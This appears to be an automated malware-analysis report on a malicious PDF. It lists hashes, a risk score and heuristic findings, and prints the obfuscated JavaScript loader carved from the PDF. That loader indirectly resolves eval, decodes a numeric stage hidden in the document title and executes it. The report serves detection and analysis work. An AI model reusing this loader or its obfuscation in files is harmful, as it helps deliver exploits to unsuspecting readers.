Malicious PDF — malware analysis report

Static analysis result for SHA-256 3a7a172ea25c61b0…

MALICIOUS

PDF

44.5 KB First seen: 2026-05-08
MD5: 85d7d5c2ce2c52082cd464a65a1175a0 SHA-1: 9d2c8f53a6ef71a1833b4cfbca0e0a96afc7f4c0 SHA-256: 3a7a172ea25c61b079b08b8b40666ccccc7b364da8d7226f19fb53f2b1fdb6b1
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF17 490 bytes
SHA-256: 1a81e19177ef02e0309f0cc245e00192d935f4e06d30b9b79bb81d42a98e7dfd
Preview script
First 1,000 lines of the extracted script
ndolh='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
iqwz=e('ti'+'tle');
s=iqwz.substr(t.length + 8,3)+'str';
q=iqwz[s](1,(1,t.length + 7));
dbtq=e('S'+'tring.fro'+q);
q=iqwz[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	tfis = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	ndolh += dbtq(tfis);
}
e(ndolh);

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